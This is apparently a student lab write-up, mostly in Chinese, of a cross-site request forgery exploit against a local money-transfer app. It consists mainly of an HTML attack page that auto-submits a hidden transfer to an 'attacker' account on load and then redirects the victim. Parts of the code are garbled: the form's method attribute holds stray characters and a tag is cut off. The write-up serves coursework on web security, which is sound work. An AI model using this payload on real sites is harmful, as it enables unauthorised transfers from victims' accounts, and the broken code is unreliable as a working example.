Exploit Bravo: Cross-Site Request Forgery Debug记录

代码设计

```
进行转账,注意到表单提交如下:
```

```
<label for="destination_username  ">Transfer to</label>
<input type="text" name="destination_username" value="">
<input type="text" name="quantity" value="">
<label for="quantity  ">Amount</label>
```

考虑伪造表单提交后跳转至 https://cs.ustc.edu.cn/, 代码如下:

```
<!DOCTYPE html>
<head>
    <meta charset="utf-8">
    <title>Transfer</title>
</head>
<body onload="transfer()">
    <form id="transfer" action="http://localhost:3000/post_transfer" target="redirect" method="¡</pre>
        <input type="hidden" name="destination_username" value="attacker">
        <input type="hidden" name="quantity" value="1">
    </form>
    <iframe name="redirect" style="width: 0; height: 0; border: none;" onload="redirect()"></if>
    <script>
        var flag = false;
        function transfer() {
            document.getElementById("transfer").submit();
            flag = true;
        }
        function redirect() {
            if(flag) window.location.replace("https://cs.ustc.edu.cn/");
        }
    </script>
</body>
```

测试

首先检查浏览器同源策略, 将其关闭

成功转账
